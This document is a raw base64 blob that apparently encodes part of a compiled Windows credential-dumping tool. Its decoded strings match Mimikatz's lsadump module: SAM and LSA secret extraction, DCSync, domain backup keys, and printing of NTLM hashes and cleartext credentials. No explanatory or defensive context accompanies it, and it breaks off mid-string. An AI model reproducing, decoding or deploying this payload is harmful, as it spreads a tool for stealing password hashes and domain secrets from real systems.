AGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAEwAUwBBACAASwBPAAoAAAAAAFYAAABTAEEATQBcAEQAbwBtAGEAaQBuAHMAXABBAGMAYwBvAHUAbgB0AAAATABvAGMAYQBsACAAUwBJAEQAIAA6ACAAAAAAAFUAcwBlAHIAcwAAAE4AYQBtAGUAcwAAAAoAUgBJAEQAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABVAHMAZQByACAAOgAgACUALgAqAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEsAZQAgAEsATwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBBAE0AIABBAGMAYwBvAHUAbgB0AHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATgBUAEwATQAAAAAATABNACAAIAAAAAAAJQBzACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABSAHQAbABEAGUAYwByAHkAcAB0AEQARQBTADIAYgBsAG8AYwBrAHMAMQBEAFcATwBSAEQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAAAAKAFMAQQBNAEsAZQB5ACAAOgAgAAAAAABGAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAgAEsATwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABGACAASwBPAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABGACAASwBPAAAAUABvAGwAXwBfAEQAbQBOAAAAAABQAG8AbABfAF8ARABtAFMAAAAAACUAcwAgAG4AYQBtAGUAIAA6ACAAAAAAACAAKAAgAAAAIAApAAAAAABQAG8AbABpAGMAeQAAAAAATABvAGMAYQBsAAAAQQBjAAAAAABQAHIAAAAAAFAAbwBsAEQAbgBEAEQATgAAAAAARABvAG0AYQBpAG4AIABGAFEARABOACAAOgAgACUAdwBaAAoAAAAAAFAAbwBsAFIAZQB2AGkAcwBpAG8AbgAAAAoAUABvAGwAaQBjAHkAIABzAHUAYgBzAHkAcwB0AGUAbQAgAGkAcwAgADoAIAAlAGgAdQAuACUAaAB1AAoAAABQAG8AbABFAEsATABpAHMAdAAAAFAAbwBsAFMAZQBjAHIAZQB0AEUAbgBjAHIAeQBwAHQAaQBvAG4ASwBlAHkAAAAAAEwAUwBBACAASwBlAHkAKABzACkAIAA6ACAAJQB1ACwAIABkAGUAZgBhAHUAbAB0ACAAAAAgACAAWwAlADAAMgB1AF0AIAAAACAAAABMAFMAQQAgAEsAZQB5ACAAOgAgAAAAAABTAGUAYwByAGUAdABzAAAAcwBlAHIAdgBpAGMAZQBzAAAAAAAKAFMAZQBjAHIAZQB0ACAAIAA6ACAAJQBzAAAAXwBTAEMAXwAAAAAAQwB1AHIAcgBWAGEAbAAAAAoAYwB1AHIALwAAAE8AbABkAFYAYQBsAAAAAAAKAG8AbABkAC8AAABTAGUAYwByAGUAdABzAFwATgBMACQASwBNAFwAQwB1AHIAcgBWAGEAbAAAAEMAYQBjAGgAZQAAAE4ATAAkAEkAdABlAHIAYQB0AGkAbwBuAEMAbwB1AG4AdAAAACoAIABOAEwAJABJAHQAZQByAGEAdABpAG8AbgBDAG8AdQBuAHQAIABpAHMAIAAlAHUALAAgACUAdQAgAHIAZQBhAGwAIABpAHQAZQByAGEAdABpAG8AbgAoAHMAKQAKAAAAAAAqACAARABDAEMAMQAgAG0AbwBkAGUAIAAhAAoAAAAAAAAAAAAqACAASQB0AGUAcgBhAHQAaQBvAG4AIABpAHMAIABzAGUAdAAgAHQAbwAgAGQAZQBmAGEAdQBsAHQAIAAoADEAMAAyADQAMAApAAoAAAAAAE4ATAAkAEMAbwBuAHQAcgBvAGwAAAAAAAoAWwAlAHMAIAAtACAAAABdAAoAUgBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAD4AIABVAHMAZQByACAAYwBhAGMAaABlACAAcgBlAHAAbABhAGMAZQAgAG0AbwBkAGUAIAAoADIAKQAhAAoAAAAgACAATQBzAEMAYQBjAGgAZQBWADIAIAA6ACAAAAAAACAAIABDAGgAZQBjAGsAcwB1AG0AIAAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBTAGUAdABWAGEAbAB1AGUARQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAA+ACAAVQBzAGUAcgAgAGMAYQBjAGgAZQAgAHIAZQBwAGwAYQBjAGUAIABtAG8AZABlACAAKAAxACkAIQAKAAAAIAAgAE0AcwBDAGEAYwBoAGUAVgAxACAAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAIAA6ACAAMAB4ACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAG0AYQBjACAAKAAwAHgAJQAwADgAeAApAAoAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAC4AKgBzAFwAJQAuACoAcwAKAAAAAABNAHMAQwBhAGMAaABlAFYAJQBjACAAOgAgAAAATwBiAGoAZQBjAHQATgBhAG0AZQAAAAAAIAAvACAAcwBlAHIAdgBpAGMAZQAgACcAJQBzACcAIAB3AGkAdABoACAAdQBzAGUAcgBuAGEAbQBlACAAOgAgACUALgAqAHMAAAAAAHQAZQB4AHQAOgAgACUAdwBaAAAAaABlAHgAIAA6ACAAAAAAACQATQBBAEMASABJAE4ARQAuAEEAQwBDAAAAAAAKACAAIAAgACAATgBUAEwATQA6AAAAAAAKACAAIAAgACAAUwBIAEEAMQA6AAAAAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAAAAAACgAgACAAIAAgAGYAdQBsAGwAOgAgAAAACgAgACAAIAAgAG0ALwB1ACAAOgAgAAAAIAAvACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcwBhAG0AcwByAHYALgBkAGwAbAAAAAAAbABzAGEAcwByAHYALgBkAGwAbAAAAAAAbgB0AGQAbABsAC4AZABsAGwAAABrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAAAAAAU2FtSUNvbm5lY3QAU2FtckNsb3NlSGFuZGxlAFNhbUlSZXRyaWV2ZVByaW1hcnlDcmVkZW50aWFscwAAU2Ftck9wZW5Eb21haW4AAFNhbXJPcGVuVXNlcgAAAABTYW1yUXVlcnlJbmZvcm1hdGlvblVzZXIAAAAAU2FtSUZyZWVfU0FNUFJfVVNFUl9JTkZPX0JVRkZFUgBMc2FJUXVlcnlJbmZvcm1hdGlvblBvbGljeVRydXN0ZWQAAABMc2FJRnJlZV9MU0FQUl9QT0xJQ1lfSU5GT1JNQVRJT04AAABWaXJ0dWFsQWxsb2MAAAAAbWVtY3B5AABwAGEAdABjAGgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABpAG4AagBlAGMAdAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAJQB3AFoAIAAvACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAASQBkAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgACcAJQBzACcAIABpAHMAIABuAG8AdAAgAGEAIAB2AGEAbABpAGQAIABJAGQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAATgBhAG0AZQBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAABTAGEAbQBTAHMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAUgBJAEQAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAFUAcwBlAHIAIAA6ACAAJQB3AFoACgAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBRAHUAZQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAFAAcgBpAG0AYQByAHkAAABDAEwARQBBAFIAVABFAFgAVAAAAFcARABpAGcAZQBzAHQAAABLAGUAcgBiAGUAcgBvAHMAAAAAAEsAZQByAGIAZQByAG8AcwAtAE4AZQB3AGUAcgAtAEsAZQB5AHMAAABOAFQATABNAC0AUwB0AHIAbwBuAGcALQBOAFQATwBXAEYAAAAKACAAKgAgACUAcwAKAAAAIAAgACAAIABMAE0AIAAgACAAOgAgAAAACgAgACAAIAAgAE4AVABMAE0AIAA6ACAAAAAAACAAIAAgACAAJQAuACoAcwAKAAAAIAAgACAAIAAlADAAMgB1ACAAIAAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAAAAAAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAE8AbABkAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAAAAACAAIAAgACAARABlAGYAYQB1AGwAdAAgAFMAYQBsAHQAIAA6ACAAJQAuACoAcwAKACAAIAAgACAARABlAGYAYQB1AGwAdAAgAEkAdABlAHIAYQB0AGkAbwBuAHMAIAA6ACAAJQB1AAoAAAAAAFMAZQByAHYAaQBjAGUAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAABPAGwAZABlAHIAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAgACAAIAAgAFIAYQBuAGQAbwBtACAAVgBhAGwAdQBlACAAOgAgAAAAIAAgACAAIAAgACAAJQBzACAAOgAgAAAAIAAgACAAIAAgACAAJQBzACAAKAAlAHUAKQAgADoAIAAAAAAATgBPAE4ARQAgACAAIAAAAE4AVAA0AE8AVwBGACAAAABDAEwARQBBAFIAIAAgAAAAVgBFAFIAUwBJAE8ATgAAACAAWwAlAHMAXQAgACUAdwBaACAALQA+ACAAJQB3AFoACgAAACAAIAAgACAAKgAgAAAAAAB1AG4AawBuAG8AdwBuAD8AAAAAACAALQAgACUAcwAgAC0AIAAAAAAALQAgACUAdQAgAC0AIAAAAGwAcwBhAGQAYgAuAGQAbABsAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAQwB1AHIAcgBlAG4AdAAgAGQAbwBtAGEAaQBuADoAIAAlAHcAWgAgACgAJQB3AFoAAAAKAEQAbwBtAGEAaQBuADoAIAAlAHcAWgAgACgAJQB3AFoAAAAgACAASQBuACAAAAAgAE8AdQB0ACAAAAAgAEkAbgAtADEAAABPAHUAdAAtADEAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAATABzAGEAUQB1AGUAcgB5AFQAcgB1AHMAdABlAGQARABvAG0AYQBpAG4ASQBuAGYAbwBCAHkATgBhAG0AZQAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAEwAcwBhAEUAbgB1AG0AZQByAGEAdABlAFQAcgB1AHMAdABlAGQARABvAG0AYQBpAG4AcwBFAHgAIAAlADAAOAB4AAoAAAAgACAAKgAgAFIAUwBBACAAawBlAHkACgAAAAAAbgB0AGQAcwAAAAAACQBQAEYAWAAgAGMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzACAALQAgACcAJQBzACcACgAAAAAAIAAgACoAIABMAGUAZwBhAGMAeQAgAGsAZQB5AAoAAABrAGUAeQAAAGwAZQBnAGEAYwB5AAAAAAAAAAAAIAAgACoAIABVAG4AawBuAG8AdwBuACAAawBlAHkAIAAoAHMAZQBlAG4AIABhAHMAIAAlADAAOAB4ACkACgAAAAkARQB4AHAAbwByAHQAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgAC0AIAAnACUAcwAnAAoAAAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABLAGUAeQBGAHIAbwBtAEcAVQBJAEQAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAcwBlAGMAcgBlAHQAAAAAACAAcwBlAGUAbQBzACAAdABvACAAYgBlACAAYQAgAHYAYQBsAGkAZAAgAEcAVQBJAEQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGIAawBlAHkAIAA7ACAASQBuAHYAYQBsAGkAZAAgAEcAVQBJAEQAIAAoADAAeAAlADAAOAB4ACkAIAA7ACAAJQBzAAoAAAAKAEMAdQByAHIAZQBuAHQAIABwAHIAZQBmAGUAcgBlAGQAIABrAGUAeQA6ACAAIAAgACAAIAAgACAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AUABSAEUARgBFAFIAUgBFAEQAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGIAawBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAACgBDAG8AbQBwAGEAdABpAGIAaQBsAGkAdAB5ACAAcAByAGUAZgBlAHIAZQBkACAAawBlAHkAOgAgAAAARwAkAEIAQwBLAFUAUABLAEUAWQBfAFAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHIAcABkAGEAdABhACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAGsAZABjAAAAWwBEAEMAXQAgAE8AYgBqAGUAYwB0ACAAdwBpAHQAaAAgAEcAVQBJAEQAIAAnACUAcwAnAAoAAAAAAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIAB1AHMAZQByACAAYQBjAGMAbwB1AG4AdAAKAAAAbABkAGEAcAAAAAAAbgBjAGEAYwBuAF8AaQBwAF8AdABjAHAAAAAAAFsARABDAF0AIABtAHMALQBEAFMALQBSAGUAcABsAGkAYwBhAHQAaQBvAG4ARQBwAG8AYwBoACAAaQBzADoAIAAlAHUACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAUgBTAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzACwAIABpAG4AdgBhAGwAaQBkACAAZAB3AE8AdQB0AFYAZQByAHMAaQBvAG4AIAAoACUAdQApACAAYQBuAGQALwBvAHIAIABjAE4AdQBtAE8AYgBqAGUAYwB0AHMAIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABvAHIAIABnAHUAaQBkACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAG8AbQBhAGkAbgAgAEMAbwBuAHQAcgBvAGwAbABlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAAAAlAHMAJQAuACoAcwAlAHMAAAAAACAAIAAgACAAJQBzAC0AJQAyAHUAOgAgAAAAAAAgACAASABhAHMAaAAgACUAcwA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARABlAGMAcgB5AHAAdABEAEUAUwAyAGIAbABvAGMAawBzADEARABXAE8AUgBEAAAAAAAKAE8AYgBqAGUAYwB0ACAAUgBEAE4AIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAUwBDAFIASQBQAFQAAAAAAEEAQwBDAE8AVQBOAFQARABJAFMAQQBCAEwARQAAAAAAMAB4ADQAIAA/AAAASABPAE0ARQBEAEkAUgBfAFIARQBRAFUASQBSAEUARAAAAAAATABPAEMASwBPAFUAVAAAAFAAQQBTAFMAVwBEAF8ATgBPAFQAUgBFAFEARAAAAAAAUABBAFMAUwBXAEQAXwBDAEEATgBUAF8AQwBIAEEATgBHAEUAAAAAAEUATgBDAFIAWQBQAFQARQBEAF8AVABFAFgAVABfAFAAQQBTAFMAVwBPAFIARABfAEEATABMAE8AVwBFAEQAAABUAEUATQBQAF8ARABVAFAATABJAEMAQQBUAEUAXwBBAEMAQwBPAFUATgBUAAAAAABOAE8AUgBNAEEATABfAEEAQwBDAE8AVQBOAFQAAAAAADAAeAA0ADAAMAAgAD8AAABJAE4AVABFAFIARABPAE0AQQBJAE4AXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAVwBPAFIASwBTAFQAQQBUAEkATwBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAFMARQBSAFYARQBSAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAAAAMAB4ADQAMAAwADAAIAA/AAAAAAAwAHgAOAAwADAAMAAgAD8AAAAAAEQATwBOAFQAXwBFAFgAUABJAFIARQBfAFAAQQBTAFMAVwBEAAAAAABNAE4AUwBfAEwATwBHAE8ATgBfAEEAQwBDAE8AVQBOAFQAAABTAE0AQQBSAFQAQwBBAFIARABfAFIARQBRAFUASQBSAEUARAAAAAAAVABSAFUAUwBUAEUARABfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgAAAAAATgBPAFQAXwBEAEUATABFAEcAQQBUAEUARAAAAFUAUwBFAF8ARABFAFMAXwBLAEUAWQBfAE8ATgBMAFkAAAAAAEQATwBOAFQAXwBSAEUAUQBVAEkAUgBFAF8AUABSAEUAQQBVAFQASAAAAAAAUABBAFMAUwBXAE8AUgBEAF8ARQBYAFAASQBSAEUARAAAAAAAVABSAFUAUwBUAEUARABfAFQATwBfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABOAE8AXwBBAFUAVABIAF8ARABBAFQAQQBfAFIARQBRAFUASQBSAEUARAAAAFAAQQBSAFQASQBBAEwAXwBTAEUAQwBSAEUAVABTAF8AQQBDAEMATwBVAE4AVAAAAFUAUwBFAF8AQQBFAFMAXwBLAEUAWQBTAAAAAAAwAHgAMQAwADAAMAAwADAAMAAwACAAPwAAAAAAMAB4ADIAMAAwADAAMAAwADAAMAAgAD8AAAAAADAAeAA0ADAAMAAwADAAMAAwADAAIAA/AAAAAAAwAHgAOAAwADAAMAAwADAAMAAwACAAPwAAAAAARABPAE0AQQBJAE4AXwBPAEIASgBFAEMAVAAAAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAAAAAE4ATwBOAF8AUwBFAEMAVQBSAEkAVABZAF8AQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAABVAFMARQBSAF8ATwBCAEoARQBDAFQAAABNAEEAQwBIAEkATgBFAF8AQQBDAEMATwBVAE4AVAAAAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAABBAFAAUABfAEIAQQBTAEkAQwBfAEcAUgBPAFUAUAAAAEEAUABQAF8AUQBVAEUAUgBZAF8ARwBSAE8AVQBQAAAAKgAqACAAUwBBAE0AIABBAEMAQwBPAFUATgBUACAAKgAqAAoACgAAAFMAQQBNACAAVQBzAGUAcgBuAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAFUAcwBlAHIAIABQAHIAaQBuAGMAaQBwAGEAbAAgAE4AYQBtAGUAIAAgADoAIAAAAEEAYwBjAG8AdQBuAHQAIABUAHkAcABlACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAAKAAgACUAcwAgACkACgAAAFUAcwBlAHIAIABBAGMAYwBvAHUAbgB0ACAAQwBvAG4AdAByAG8AbAAgADoAIAAlADAAOAB4ACAAKAAgAAAAAABBAGMAYwBvAHUAbgB0ACAAZQB4AHAAaQByAGEAdABpAG8AbgAgACAAIAA6ACAAAABQAGEAcwBzAHcAbwByAGQAIABsAGEAcwB0ACAAYwBoAGEAbgBnAGUAIAA6ACAAAABPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAgAEkARAAgACAAIAA6ACAAAABPAGIAagBlAGMAdAAgA